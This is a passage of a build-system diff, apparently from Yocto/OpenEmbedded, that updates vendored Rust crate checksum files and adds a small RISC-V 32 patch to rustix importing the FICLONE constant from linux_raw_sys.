c5e1a6c8378d613c6ef3dd44e2199ea7455da65e83d6bb19582a79de880f80","src/sparc/general.rs":"a38a371e8ceeecc4384999b4cc8ee6d65a35a20542c96c62e04c24b2b2953858","src/sparc/if_ether.rs":"c574c6d1ea11a8bb213b18928fe2d342c897d8ff04458991a5192eb401fbbc57","src/sparc/io_uring.rs":"d813aabc93f383c8522773ed431209627d810c78bcdb4dae931a702aae55e09f","src/sparc/ioctl.rs":"b2a4c7d649b18a4d2a1142400de687d48c195dcf8a86b58ac261413c33809d7b","src/sparc/net.rs":"00115a0deec75249c34bf61c76d4a95181be21ac3a1b5200875186d5ea501dac","src/sparc/netlink.rs":"0f176c24de7b2b19ac16dd95625947b8047d48bc7b871e12a3acd31f8e97c6f5","src/sparc/prctl.rs":"5f5686fe04d8cc5e746d789340331095044f244c123ecf1468dcb089bbb931cd","src/sparc/system.rs":"6f1f8ce9978693845621880031ac4805f00027315a691cfe1d466703c7a96e8d","src/sparc64/errno.rs":"b3c5e1a6c8378d613c6ef3dd44e2199ea7455da65e83d6bb19582a79de880f80","src/sparc64/general.rs":"d4138f0e663833811365fdc2e1008525df0f21044b5e31ab80d97d63fcb9f45f","src/sparc64/if_ether.rs":"e51661cb54922c3c01853617a61b3d141768adf5b94162c4aefb326d31ef55f5","src/sparc64/io_uring.rs":"688f4678c259eb940aa0216c0183843d436b918d214e13bed56a38ddb55132db","src/sparc64/ioctl.rs":"b2a4c7d649b18a4d2a1142400de687d48c195dcf8a86b58ac261413c33809d7b","src/sparc64/net.rs":"e1b51c9efe4a00b645100f2b4aa6f2349a50627521fa020370b1bf8ab0b3a575","src/sparc64/netlink.rs":"7cec2a77af7ec17cad96d63027fd4a9164f0e6503f2e6cc2a99e79aa1bba3147","src/sparc64/prctl.rs":"ff897312b99274ce4eefecccc9797e34accc69efce1299712ab631e9542cb8ca","src/sparc64/system.rs":"becb2e706ed6df77860a2a3884b28181dca606db22fcd604a8a1803f937e8baf","src/x32/errno.rs":"db283e5ea7fb63e0f57acb241e6471a951b4218660c01ca37b80be9a53629b92","src/x32/general.rs":"c2aeaf3096d559a86d3f72e0ec4a91245edfce35e85c51b50d13e115ec357974","src/x32/if_ether.rs":"859047581be4a3ae923b88516e86230a4f9a447a5203285dd8bcc539038c5c4f","src/x32/io_uring.rs":"40834d29cf819e43a23f9a2e075e2ea0c001be817f7200aa059c24eae6d29123","src/x32/ioctl.rs":"085227ec906237903b5e8b2e90b80fd078ddb4f9e44bbd6c9bee54ea7d5d6b1a","src/x32/net.rs":"e2d77e5bbae1fb298e48382204db55e4e49de2039369e3b2b77097029006c9d1","src/x32/netlink.rs":"f74042f6cf0eabccfa6b8008a89ee7ab347fb7eaa89499757a786b13b2403982","src/x32/prctl.rs":"2d1eb6873dc5b72a8252f12e695d98a045e01026f730302a6515f53a394bba7c","src/x32/system.rs":"69c125aea6b21f2c4981f3386602283a691524671fef1da7d67de3b67fffdc42","src/x86/errno.rs":"db283e5ea7fb63e0f57acb241e6471a951b4218660c01ca37b80be9a53629b92","src/x86/general.rs":"a9b002ea136dabb9fd1c489c999cd1bfeca62490202aab095221fc70c2b6e30e","src/x86/if_ether.rs":"3873beb1f57bdcc52da345608c5deda5937d7b92b114b414ce6161784173b925","src/x86/io_uring.rs":"3f60400dfc11a5eafa5a54466f7f9ca74a63219feda2278c388529bf40c0a6a3","src/x86/ioctl.rs":"8dd0afaa7c3017c3866e579705699be75acc1a095694232b2903a12b3c07a770","src/x86/net.rs":"c79f443ab6585f81a71eff3350700ece82098264206eb79f78714153d6e43529","src/x86/netlink.rs":"2f98b8c0349c2d3d538164e4d06c28fa1fb9308f7691aa097526ce2fb3ac176f","src/x86/prctl.rs":"5477c74fec958d9f9d2028f58e95657840ead28445956e53fe0894e45922f8a5","src/x86/system.rs":"9aca94a4a553e09e6d2d43741fb8c120c05a193822e850951dc469bbd89cc703","src/x86_64/errno.rs":"db283e5ea7fb63e0f57acb241e6471a951b4218660c01ca37b80be9a53629b92","src/x86_64/general.rs":"f0c763abb8d7e7bd594c674d2774b272844829ecee4e3ed42932004616a2380e","src/x86_64/if_ether.rs":"feb5362d90fbd5113b6f1f22fcc77a7b3bb7c8f5081be7eacb2e270d2f24a293","src/x86_64/io_uring.rs":"6c008c59b6905b7872b788e30d546efa3b5bb03a0fe17e33b90bfc8beec23f29","src/x86_64/ioctl.rs":"085227ec906237903b5e8b2e90b80fd078ddb4f9e44bbd6c9bee54ea7d5d6b1a","src/x86_64/net.rs":"0f81db11e3497486f0d2022a8302716816d2442bf7ffd25fa88a25a9bdc1ca83","src/x86_64/netlink.rs":"d47b8b117007b1c29db325dad68ed1b92562b98f90916b1b192f57a935a98038","src/x86_64/prctl.rs":"6d0f63fff8d76cc2f4678f38e40a68d072d7da4094d5217ce92872370bb4df9b","src/x86_64/system.rs":"6a415f104e7dd34829b36c19ad89e0cfcfbc69a846c87f81e202411386d46966"},"package":"da2479e8c062e40bf0066ffa0bc823de0a9368974af99c9f6df941d2c231e03f"}
+\ No newline at end of file
++{"files":{"CODE_OF_CONDUCT.md":"ccd9e538ce44713a2486cc8e4c01b8c8b846d1ccff15de728d8d6fa9a7f846cd","COPYRIGHT":"3290ae0fbc9ddb77d2239121d710f0bb9d31b3b4744e6d97fe01e652b4c1870b","Cargo.toml":"0d02ea4bc018631a52900423cb7466bc905571bd1d767769739bde626360c123","LICENSE-APACHE":"a60eea817514531668d7e00765731449fe14d059d3249e0bc93b36de45f759f2","LICENSE-Apache-2.0_WITH_LLVM-exception":"268872b9816f90fd8e85db5a28d33f8150ebb8dd016653fb39ef1f94f2686bc5","LICENSE-MIT":"23f18e03dc49df91622fe2a76176497404e46ced8a715d9d2b67a7446571cca3","ORG_CODE_OF_CONDUCT.md":"a62b69bf86e605ee1bcbb2f0a12ba79e4cebb6983a7b6491949750aecc4f2178","README.md":"3d4ae2ec9429adfd329b4506f7ca6faa84dca30d1c3b416f8f4e6f57bdb3aa96","src/aarch64/errno.rs":"db283e5ea7fb63e0f57acb241e6471a951b4218660c01ca37b80be9a53629b92","src/aarch64/general.rs":"0cc1ed00b1ef7efb16a7109138acdf679d591325458938cee150b221af063822","src/aarch64/if_ether.rs":"f558bfec1f5e80235db79f507e4afd3120647a5caddf17a87b7ad5540e5c1462","src/aarch64/io_uring.rs":"9ce4c9005b5b99e041b9d58be6866367605e4bee1e30a7096235cb234ed73e1b","src/aarch64/ioctl.rs":"f83af7f7cab6611c9f316b2289998d3276d844ac8f96111bc65f6c3340c3301a","src/aarch64/net.rs":"9c5fe44f91072b08899a6304cb22a51545034adde444740b67b8b310f3906a30","src/aarch64/netlink.rs":"f6642310b8bd37b5775ba1a52cfe638beddd7c880f8dfacab62c3180255fb75f","src/aarch64/prctl.rs":"a80e2f89aa978210d980538e1d9c5b922bb073d118ee51b1f14c1f397c7cd576","src/aarch64/system.rs":"851a95c0d1b76782970a28c373a313954eea0db35f6ebce562e6047095f587c4","src/arm/errno.rs":"db283e5ea7fb63e0f57acb241e6471a951b4218660c01ca37b80be9a53629b92","src/arm/general.rs":"bdbb40ba5630044c9555fe38a3640638f3ff7f437d94f82428e2bedad32e180f","src/arm/if_ether.rs":"3873beb1f57bdcc52da345608c5deda5937d7b92b114b414ce6161784173b925","src/arm/io_uring.rs":"5e2e254d5853ed30568e17fab184f8cc458607465d19dcee6c87ca1b565d6d2d","src/arm/ioctl.rs":"54cb9bdc5fe4ee7cff30e087bb0d04f1d811b55be7604bb056387f859120935a","src/arm/net.rs":"c79f443ab6585f81a71eff3350700ece82098264206eb79f78714153d6e43529","src/arm/netlink.rs":"2f98b8c0349c2d3d538164e4d06c28fa1fb9308f7691aa097526ce2fb3ac176f","src/arm/prctl.rs":"5477c74fec958d9f9d2028f58e95657840ead28445956e53fe0894e45922f8a5","src/arm/system.rs":"9aca94a4a553e09e6d2d43741fb8c120c05a193822e850951dc469bbd89cc703","src/csky/errno.rs":"db283e5ea7fb63e0f57acb241e6471a951b4218660c01ca37b80be9a53629b92","src/csky/general.rs":"94aba82d2a76a9ca272b4766f8d2f5f14e10bc2166e03d695a5b8b5d207e6755","src/csky/if_ether.rs":"aac7a069000195b9b18c6d25b2d7c338efb1062347a84e31cda7c93de374b3c6","src/csky/io_uring.rs":"bb7541d82f627cb681ea11f4e5c4162b0d0616ca08fcc6d31bcf22ef813f754d","src/csky/ioctl.rs":"77f30e67f9a4748bc31184454a0ff45fd821c3536cd98dc2411def8eeb59a268","src/csky/net.rs":"2796ca3744e82cecd816b4d1b1fba0bcb389fbc4603e0af7b6cdc562c666b512","src/csky/netlink.rs":"9fc99e88df0efc15d39b397c9d653c32b4729e31a2434e730435fbdfcb362da4","src/csky/prctl.rs":"8df2f33387d5b4865d9417f796cc4d43b3cf549cfa41d7ce7d41dd367ed8b6c9","src/csky/system.rs":"a2913685b359e60bbfae413b89a6fd37ea38fa448f980ffadef42d227b33ada5","src/elf.rs":"441bcf378b5603f957e053369d18d95c1efe981665846c220bca82123c04843a","src/lib.rs":"f3399ba35206764ac4e2d755cfc7e0c580464b8fcc76968f6c4b9f64523a1d02","src/loongarch64/errno.rs":"db283e5ea7fb63e0f57acb241e6471a951b4218660c01ca37b80be9a53629b92","src/loongarch64/general.rs":"fadd5884c6ad645300540dd30150984857819a986772fca4eba1e1fc0c3f4f1e","src/loongarch64/if_ether.rs":"a7b0918afc9dbf8e79490f83a809e4bd563af20ab2b3432d58b763ff31418daf","src/loongarch64/io_uring.rs":"ef851913c86bc2d629048e781edc76b59c63e659f8bd4bcd7fa7ff982186ed6d","src/loongarch64/ioctl.rs":"6f631e0ac37f2c2398168683a1523d1559b85369ffe4cdcc284ffe7455672c18","src/loongarch64/net.rs":"21add3f1bfa5898d9a5ef91342f6cd94ad4585df6525b9a4cf6cdf743345a9c7","src/loongarch64/netlink.rs":"789357343b94276e6f8fc8f3a32f06f3d3efd464c7850b2568dc609a49d1f305","src/loongarch64/prctl.rs":"624e4d3b8f3b4f1d6dcb1540c124ed03ce47f0580aa3425c0baed431dcd267ea","src/loongarch64/system.rs":"4cfcd4c28481b9ff5fc0330d5c713d637d3615c0184830d3a4391882eaed68f5","src/mips/errno.rs":"9ab1ed2bf371a27401745c2a6f9692f7e66dfd481d032cb40a354826d394ea8e","src/mips/general.rs":"1c16f4e0a015eaf27e9a30f4b74ec824220798f47c535d3aaf322ad799c054ab","src/mips/if_ether.rs":"1ecdc654cb3eda633bb7192829b1001a0a5ae5a126110b4208bbee5b41f87f5e","src/mips/io_uring.rs":"c69479bb1f862febe78e0989745c202146aaef7e8ceaa0d7bf291af584748992","src/mips/ioctl.rs":"f7464d2cd0548ab4735a1ca8deba47f13ea0946a9bf86adfec1a77feb3a0f475","src/mips/net.rs":"843204e91d8d6c34ddf4d29e1e822980b3e058ff7fc55ecc5f2b0fdf4a72825d","src/mips/netlink.rs":"5045dece259abaa5b5974500a20a9325e4cd6eb87c344dd7448056dff469994f","src/mips/prctl.rs":"cd59615adf6f561ef6c542df59cf25f75877693ca1c4c489f5e460eb7e798d4d","src/mips/system.rs":"acbc69a1fe7299860f8bd142bc2ff5595a410e1528994139062fc680d1a87e71","src/mips32r6/errno.rs":"9ab1ed2bf371a27401745c2a6f9692f7e66dfd481d032cb40a354826d394ea8e","src/mips32r6/general.rs":"1c16f4e0a015eaf27e9a30f4b74ec824220798f47c535d3aaf322ad799c054ab","src/mips32r6/if_ether.rs":"1ecdc654cb3eda633bb7192829b1001a0a5ae5a126110b4208bbee5b41f87f5e","src/mips32r6/io_uring.rs":"c69479bb1f862febe78e0989745c202146aaef7e8ceaa0d7bf291af584748992","src/mips32r6/ioctl.rs":"f7464d2cd0548ab4735a1ca8deba47f13ea0946a9bf86adfec1a77feb3a0f475","src/mips32r6/net.rs":"843204e91d8d6c34ddf4d29e1e822980b3e058ff7fc55ecc5f2b0fdf4a72825d","src/mips32r6/netlink.rs":"5045dece259abaa5b5974500a20a9325e4cd6eb87c344dd7448056dff469994f","src/mips32r6/prctl.rs":"cd59615adf6f561ef6c542df59cf25f75877693ca1c4c489f5e460eb7e798d4d","src/mips32r6/system.rs":"acbc69a1fe7299860f8bd142bc2ff5595a410e1528994139062fc680d1a87e71","src/mips64/errno.rs":"9ab1ed2bf371a27401745c2a6f9692f7e66dfd481d032cb40a354826d394ea8e","src/mips64/general.rs":"700b52614c604ce58aa8a5bb1ebd46221c0106ec2d8d6600d681d1594a89118a","src/mips64/if_ether.rs":"6d24518acba5bc8fa2a775d039ed9594de8349d6028621134626ccaa8ea18bcd","src/mips64/io_uring.rs":"18bd5d96c53aff44f4a37a71f16fa12c11b7c934b395bf841e47d98283146a50","src/mips64/ioctl.rs":"39f3276ec6f36ba78f5635bd418310b21bc228902d4da889fa01094c26f9b57d","src/mips64/net.rs":"e641379a7004ded90413b084504468148ecdbea4f753cbca83a4d22698cd7bab","src/mips64/netlink.rs":"18f139573337be18fb9bd56de4d0bd8af5c80828cdf68ef68751c18dcb39c761","src/mips64/prctl.rs":"a8d9ae240ce582d7b66e13937b99df73c7247ce9f69bfdd12109903d7c6dfb0e","src/mips64/system.rs":"95805c533a8eb8f53c28f138e6a2d12064681cc9db55d3042ee748c655a5d7cd","src/mips64r6/errno.rs":"9ab1ed2bf371a27401745c2a6f9692f7e66dfd481d032cb40a354826d394ea8e","src/mips64r6/general.rs":"700b52614c604ce58aa8a5bb1ebd46221c0106ec2d8d6600d681d1594a89118a","src/mips64r6/if_ether.rs":"6d24518acba5bc8fa2a775d039ed9594de8349d6028621134626ccaa8ea18bcd","src/mips64r6/io_uring.rs":"18bd5d96c53aff44f4a37a71f16fa12c11b7c934b395bf841e47d98283146a50","src/mips64r6/ioctl.rs":"39f3276ec6f36ba78f5635bd418310b21bc228902d4da889fa01094c26f9b57d","src/mips64r6/net.rs":"e641379a7004ded90413b084504468148ecdbea4f753cbca83a4d22698cd7bab","src/mips64r6/netlink.rs":"18f139573337be18fb9bd56de4d0bd8af5c80828cdf68ef68751c18dcb39c761","src/mips64r6/prctl.rs":"a8d9ae240ce582d7b66e13937b99df73c7247ce9f69bfdd12109903d7c6dfb0e","src/mips64r6/system.rs":"95805c533a8eb8f53c28f138e6a2d12064681cc9db55d3042ee748c655a5d7cd","src/powerpc/errno.rs":"db283e5ea7fb63e0f57acb241e6471a951b4218660c01ca37b80be9a53629b92","src/powerpc/general.rs":"7940ad742585d501f4742af51c6310ecf651863a8aaa0305193e9c8ee07aca90","src/powerpc/if_ether.rs":"56ab5fbf8c9d0dd0654412fabdca6759cbb421a876e5cebe2fec10e25728b55c","src/powerpc/io_uring.rs":"38ead79180c96e8af69929dacbc36e8cfbccec96875c61f094e531e6860639db","src/powerpc/ioctl.rs":"513a1dda33b2cd6c57212263c1bf0d8d443e54af6efe75e938fd700c1ca2b630","src/powerpc/net.rs":"b0228b15161fb750596d6e7e8e612381d9cf2acfed208715b93e8bb4b3340dc7","src/powerpc/netlink.rs":"4f10870fbd23de17efd4cba6d5a40ba85564effc5d0b71f9d7f928a42cb77b20","src/powerpc/prctl.rs":"f236987bc8ae993ab2b0e88b2eacbae51eee4da170ac075552070a76c717d803","src/powerpc/system.rs":"3e01e5e145adb87263f04c9e053faac0c0758689fd32917d2c7c2eec1d89f9e6","src/powerpc64/errno.rs":"db283e5ea7fb63e0f57acb241e6471a951b4218660c01ca37b80be9a53629b92","src/powerpc64/general.rs":"7862eb3dfac845331b624b3322bdeb3441bb86e914719e125dd5dc7b3860db43","src/powerpc64/if_ether.rs":"15e12d56b1367cb5c9d8fd1b9995acf1429a923bf603698bd732efe1acc30cd6","src/powerpc64/io_uring.rs":"50018e504d78c584beaec3b1a6d477d30d566d25cb1a40b0a2adfb23d726674f","src/powerpc64/ioctl.rs":"513a1dda33b2cd6c57212263c1bf0d8d443e54af6efe75e938fd700c1ca2b630","src/powerpc64/net.rs":"0a1468b8a270470a619e492fd6c50c59ea9eeaccd1c7827a0a0d55a0ae981cd4","src/powerpc64/netlink.rs":"352a06995f7de6e4fc1c2ff54c1eccb93a3d833a923e834ec75c6a4d30ea5051","src/powerpc64/prctl.rs":"1fcccc5b6dac472a30b7701b5c9e436c238410077cfe158d600b51d55bcc074a","src/powerpc64/system.rs":"500116b7613a504ebad028cec1ba37323310e29864d885ae62191ccb1f86d333","src/riscv32/errno.rs":"db283e5ea7fb63e0f57acb241e6471a951b4218660c01ca37b80be9a53629b92","src/riscv32/general.rs":"16ffe747a8f75ac6594dc7afddef4fbb89735da50af9f19f152fd2f04b509463","src/riscv32/if_ether.rs":"aac7a069000195b9b18c6d25b2d7c338efb1062347a84e31cda7c93de374b3c6","src/riscv32/io_uring.rs":"5c67dde8fdb3641407d4ebd744171606b82596176343fe6766afd3220eda2ab1","src/riscv32/ioctl.rs":"6f631e0ac37f2c2398168683a1523d1559b85369ffe4cdcc284ffe7455672c18","src/riscv32/net.rs":"2796ca3744e82cecd816b4d1b1fba0bcb389fbc4603e0af7b6cdc562c666b512","src/riscv32/netlink.rs":"9fc99e88df0efc15d39b397c9d653c32b4729e31a2434e730435fbdfcb362da4","src/riscv32/prctl.rs":"8df2f33387d5b4865d9417f796cc4d43b3cf549cfa41d7ce7d41dd367ed8b6c9","src/riscv32/system.rs":"a2913685b359e60bbfae413b89a6fd37ea38fa448f980ffadef42d227b33ada5","src/riscv64/errno.rs":"db283e5ea7fb63e0f57acb241e6471a951b4218660c01ca37b80be9a53629b92","src/riscv64/general.rs":"8ec4907ac81b62e21451731a468e5f4fe7a37a46d80c56b33e0969d2d059d442","src/riscv64/if_ether.rs":"a7b0918afc9dbf8e79490f83a809e4bd563af20ab2b3432d58b763ff31418daf","src/riscv64/io_uring.rs":"ef851913c86bc2d629048e781edc76b59c63e659f8bd4bcd7fa7ff982186ed6d","src/riscv64/ioctl.rs":"6f631e0ac37f2c2398168683a1523d1559b85369ffe4cdcc284ffe7455672c18","src/riscv64/net.rs":"21add3f1bfa5898d9a5ef91342f6cd94ad4585df6525b9a4cf6cdf743345a9c7","src/riscv64/netlink.rs":"789357343b94276e6f8fc8f3a32f06f3d3efd464c7850b2568dc609a49d1f305","src/riscv64/prctl.rs":"624e4d3b8f3b4f1d6dcb1540c124ed03ce47f0580aa3425c0baed431dcd267ea","src/riscv64/system.rs":"4cfcd4c28481b9ff5fc0330d5c713d637d3615c0184830d3a4391882eaed68f5","src/s390x/errno.rs":"db283e5ea7fb63e0f57acb241e6471a951b4218660c01ca37b80be9a53629b92","src/s390x/general.rs":"687f6e3d4502d31aaec08a41335b6a368f0949049875d939065a66df86e06b8a","src/s390x/if_ether.rs":"2a6b2132be1aebe126eb64ea230a82c2ab18433ece37226c9dacd81392ad6ca2","src/s390x/io_uring.rs":"57790b4ce46a4a2a87a329ff935033dfb430117bcc2154fa066c5d681f115319","src/s390x/ioctl.rs":"f806407c91520bc994c7cd638576686710700a4cfa30c8ca3f81d55ce1d6ecdd","src/s390x/net.rs":"3f89cf2040475eb446daa3f54b5cd016ca8d2d3966f02efb3f0f2f425ccc7adb","src/s390x/netlink.rs":"c3c11102a55d15dfb534d748c8bc8ece58c9d56170b6afe07d1f2cc783fd6372","src/s390x/prctl.rs":"6fe9f5349f9a694b391f309f208235c1d4669430d3f051ef64467576e91df7a1","src/s390x/system.rs":"f68e8afbd02bc87a8fec2cae4e367f296873f2c1a651032da4ccc4f1c0ed4670","src/sparc/errno.rs":"b3c5e1a6c8378d613c6ef3dd44e2199ea7455da65e83d6bb19582a79de880f80","src/sparc/general.rs":"a38a371e8ceeecc4384999b4cc8ee6d65a35a20542c96c62e04c24b2b2953858","src/sparc/if_ether.rs":"c574c6d1ea11a8bb213b18928fe2d342c897d8ff04458991a5192eb401fbbc57","src/sparc/io_uring.rs":"d813aabc93f383c8522773ed431209627d810c78bcdb4dae931a702aae55e09f","src/sparc/ioctl.rs":"b2a4c7d649b18a4d2a1142400de687d48c195dcf8a86b58ac261413c33809d7b","src/sparc/net.rs":"00115a0deec75249c34bf61c76d4a95181be21ac3a1b5200875186d5ea501dac","src/sparc/netlink.rs":"0f176c24de7b2b19ac16dd95625947b8047d48bc7b871e12a3acd31f8e97c6f5","src/sparc/prctl.rs":"5f5686fe04d8cc5e746d789340331095044f244c123ecf1468dcb089bbb931cd","src/sparc/system.rs":"6f1f8ce9978693845621880031ac4805f00027315a691cfe1d466703c7a96e8d","src/sparc64/errno.rs":"b3c5e1a6c8378d613c6ef3dd44e2199ea7455da65e83d6bb19582a79de880f80","src/sparc64/general.rs":"d4138f0e663833811365fdc2e1008525df0f21044b5e31ab80d97d63fcb9f45f","src/sparc64/if_ether.rs":"e51661cb54922c3c01853617a61b3d141768adf5b94162c4aefb326d31ef55f5","src/sparc64/io_uring.rs":"688f4678c259eb940aa0216c0183843d436b918d214e13bed56a38ddb55132db","src/sparc64/ioctl.rs":"b2a4c7d649b18a4d2a1142400de687d48c195dcf8a86b58ac261413c33809d7b","src/sparc64/net.rs":"e1b51c9efe4a00b645100f2b4aa6f2349a50627521fa020370b1bf8ab0b3a575","src/sparc64/netlink.rs":"7cec2a77af7ec17cad96d63027fd4a9164f0e6503f2e6cc2a99e79aa1bba3147","src/sparc64/prctl.rs":"ff897312b99274ce4eefecccc9797e34accc69efce1299712ab631e9542cb8ca","src/sparc64/system.rs":"becb2e706ed6df77860a2a3884b28181dca606db22fcd604a8a1803f937e8baf","src/x32/errno.rs":"db283e5ea7fb63e0f57acb241e6471a951b4218660c01ca37b80be9a53629b92","src/x32/general.rs":"c2aeaf3096d559a86d3f72e0ec4a91245edfce35e85c51b50d13e115ec357974","src/x32/if_ether.rs":"859047581be4a3ae923b88516e86230a4f9a447a5203285dd8bcc539038c5c4f","src/x32/io_uring.rs":"40834d29cf819e43a23f9a2e075e2ea0c001be817f7200aa059c24eae6d29123","src/x32/ioctl.rs":"085227ec906237903b5e8b2e90b80fd078ddb4f9e44bbd6c9bee54ea7d5d6b1a","src/x32/net.rs":"e2d77e5bbae1fb298e48382204db55e4e49de2039369e3b2b77097029006c9d1","src/x32/netlink.rs":"f74042f6cf0eabccfa6b8008a89ee7ab347fb7eaa89499757a786b13b2403982","src/x32/prctl.rs":"2d1eb6873dc5b72a8252f12e695d98a045e01026f730302a6515f53a394bba7c","src/x32/system.rs":"69c125aea6b21f2c4981f3386602283a691524671fef1da7d67de3b67fffdc42","src/x86/errno.rs":"db283e5ea7fb63e0f57acb241e6471a951b4218660c01ca37b80be9a53629b92","src/x86/general.rs":"a9b002ea136dabb9fd1c489c999cd1bfeca62490202aab095221fc70c2b6e30e","src/x86/if_ether.rs":"3873beb1f57bdcc52da345608c5deda5937d7b92b114b414ce6161784173b925","src/x86/io_uring.rs":"3f60400dfc11a5eafa5a54466f7f9ca74a63219feda2278c388529bf40c0a6a3","src/x86/ioctl.rs":"8dd0afaa7c3017c3866e579705699be75acc1a095694232b2903a12b3c07a770","src/x86/net.rs":"c79f443ab6585f81a71eff3350700ece82098264206eb79f78714153d6e43529","src/x86/netlink.rs":"2f98b8c0349c2d3d538164e4d06c28fa1fb9308f7691aa097526ce2fb3ac176f","src/x86/prctl.rs":"5477c74fec958d9f9d2028f58e95657840ead28445956e53fe0894e45922f8a5","src/x86/system.rs":"9aca94a4a553e09e6d2d43741fb8c120c05a193822e850951dc469bbd89cc703","src/x86_64/errno.rs":"db283e5ea7fb63e0f57acb241e6471a951b4218660c01ca37b80be9a53629b92","src/x86_64/general.rs":"f0c763abb8d7e7bd594c674d2774b272844829ecee4e3ed42932004616a2380e","src/x86_64/if_ether.rs":"feb5362d90fbd5113b6f1f22fcc77a7b3bb7c8f5081be7eacb2e270d2f24a293","src/x86_64/io_uring.rs":"6c008c59b6905b7872b788e30d546efa3b5bb03a0fe17e33b90bfc8beec23f29","src/x86_64/ioctl.rs":"085227ec906237903b5e8b2e90b80fd078ddb4f9e44bbd6c9bee54ea7d5d6b1a","src/x86_64/net.rs":"0f81db11e3497486f0d2022a8302716816d2442bf7ffd25fa88a25a9bdc1ca83","src/x86_64/netlink.rs":"d47b8b117007b1c29db325dad68ed1b92562b98f90916b1b192f57a935a98038","src/x86_64/prctl.rs":"6d0f63fff8d76cc2f4678f38e40a68d072d7da4094d5217ce92872370bb4df9b","src/x86_64/system.rs":"6a415f104e7dd34829b36c19ad89e0cfcfbc69a846c87f81e202411386d46966"},"package":"da2479e8c062e40bf0066ffa0bc823de0a9368974af99c9f6df941d2c231e03f"}
diff --git a/meta/recipes-devtools/rust/files/rv32-rustix-libc-backend.patch b/meta/recipes-devtools/rust/files/rv32-rustix-libc-backend.patch
new file mode 100644
index 0000000000..7e99b50834
--- /dev/null
+++ b/meta/recipes-devtools/rust/files/rv32-rustix-libc-backend.patch
@@ -0,0 +1,32 @@
+Use FICLONE from linux_raw_sys module
+
+Upstream-Status: Pending
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+--- a/vendor/rustix/src/backend/libc/c.rs
++++ b/vendor/rustix/src/backend/libc/c.rs
+@@ -6,6 +6,8 @@
+ // things below.
+ pub(crate) use libc::*;
+
++use linux_raw_sys::ioctl::FICLONE;
++
+ /// `PROC_SUPER_MAGIC`—The magic number for the procfs filesystem.
+ #[cfg(all(linux_kernel, target_env = "musl"))]
+ pub(crate) const PROC_SUPER_MAGIC: u32 = 0x0000_9fa0;
+--- a/vendor/rustix/.cargo-checksum.json
++++ b/vendor/rustix/.cargo-checksum.json
+@@ -1 +1 @@
+-{"files":{"CODE_OF_CONDUCT.md":"f210602311e3f74b32f46237fd55f4ce36d798e85e3db1432ec667f63a7ffc44","CONTRIBUTING.md":"3fd57de5c678db1c972da676a8231d2fde9820695ef1f0d53f1e55a3e81d9de0","COPYRIGHT":"377c2e7c53250cc5905c0b0532d35973392af16ffb9596a41d99d202cf3617c9","Cargo.toml":"5a6eafc41863c968362a1b8424dd0a5e1ce6502496b2999ef97ceac81f30fbcd","LICENSE-APACHE":"a60eea817514531668d7e00765731449fe14d059d3249e0bc93b36de45f759f2","LICENSE-Apache-2.0_WITH_LLVM-exception":"268872b9816f90fd8e85db5a28d33f8150ebb8dd016653fb39ef1f94f2686bc5","LICENSE-MIT":"23f18e03dc49df91622fe2a76176497404e46ced8a715d9d2b67a7446571cca3","ORG_CODE_OF_CONDUCT.md":"a62b69bf86e605ee1bcbb2f0a12ba79e4cebb6983a7b6491949750aecc4f2178","README.md":"0acc443488c1d6f7a0a80a91385d06c7a1920c1f5c847214dd6c23a6bd027f75","SECURITY.md":"4d75afb09dd28eb5982e3a1f768ee398d90204669ceef3240a16b31dcf04148a","benches/mod.rs":"e260e67273aa0a37cffdc5cd451699335b8ee656c17275a0d0f2b4563c6018ca","build.rs":"5f93559819ca7fe233f01579d51ff5b58cb6e96ef9e7817a3358a9b410d5bbf6","src/backend/libc/c.rs":"9a929ab2bff99843e8c663b92b93def5c752e96d2e6228520cb50eeec483586b","src/backend/libc/conv.rs":"b66d080db3a4c2756fe722462b543982bf88e5bc8071b9dc98d28ec2aee3dbfc","src/backend/libc/event/epoll.rs":"b6f00ec602f9a6b9a2b7a66a242efda088b67ed66053692dcbba683df4fdaf19","src/backend/libc/event/mod.rs":"7f8547c599b8263eb791890bbe4a0b22fe2676d007ffdcc3e07b2e48d1c994db","src/backend/libc/event/poll_fd.rs":"1186dd69fc78d474975f1b8c55c9dd261229cb0c53a0dd2a88754ef62529a917","src/backend/libc/event/syscalls.rs":"295a930521b345192caaf916b39189299f81f5f7c9f1aaed235baf3bf6f2f5fa","src/backend/libc/event/types.rs":"e81130bc07e8f762ea2942bca1bde048ade0df24aac619907f3055d2dda7d522","src/backend/libc/event/windows_syscalls.rs":"ebfac665c6676c4b803134ab8806be8aa2e96bdbc7799a19c544cd9069b35787","src/backend/libc/fs/dir.rs":"71332c794f4e2438e7c700a0d2206fe0088cf98473030e3f8ccddf252ad7f5b2","src/backend/libc/fs/inotify.rs":"a027a718db8bf6ff9a778c2cfa706850b466240b0a2296d72b9834c0096968e8","src/backend/libc/fs/makedev.rs":"89c679a0ef18dd41b3c6223bce0f329ad35bf6cadbf16e47b33fad3f312ba4a6","src/backend/libc/fs/mod.rs":"3d28b803011b57da6315bb747daf0117218687c0cc610358f5dafddf0b7d44d3","src/backend/libc/fs/syscalls.rs":"229d1c27d53bfbd35310b05aaf8b3307d6b6e9948faf0655713bc662f901bd02","src/backend/libc/fs/types.rs":"ca25c8271e1fd2ff6c28082884ca112fd5e0523b2aa3cd289cd9a399c962a172","src/backend/libc/io/errno.rs":"d33978855c2e0e97d5e1f7a04ab10894f9f2c3e329e949f259a757f89942074e","src/backend/libc/io/mod.rs":"746647bd864e4ec7717925b6d176cebdb392b7d015070244cc48d92780351dd6","src/backend/libc/io/syscalls.rs":"cbd9e9db566597de0a709247c8ba3bd1e6ce266a128d639273353c706f0592b7","src/backend/libc/io/types.rs":"2efd39bb3df19a9db5496217284f3d2235ddb354fac81dd71861109a56bede0b","src/backend/libc/io/windows_syscalls.rs":"fab3fa099aa89cea56a6edc651dd37750e581534f4f45b04a7e425f130b08468","src/backend/libc/io_uring/mod.rs":"2c6478857a0751625edabd61acb841819bfba1093b1faeded15693c805d84952","src/backend/libc/io_uring/syscalls.rs":"5af8146d5971c833e6fd657f652c618b31f854e1b0811864fba9b658cb633e19","src/backend/libc/mm/mod.rs":"8aa966faf3853d1a93d0ed91f7e5f4a53539b0287b25a5bfe489fa1d07f7cfd7","src/backend/libc/mm/syscalls.rs":"c04c61ad3d7f3b24d13f89144d7fa0a05658cea4763207f9250db4f9362de2fe","src/backend/libc/mm/types.rs":"48406d44d79b102ae9d17860749611d26c1f04e3630e9680dfcb20e2efc148a8","src/backend/libc/mod.rs":"778083f85aaca00aa5c8ec36b541e0e8a3e693660a6acf4722b4508f015c278c","src/backend/libc/mount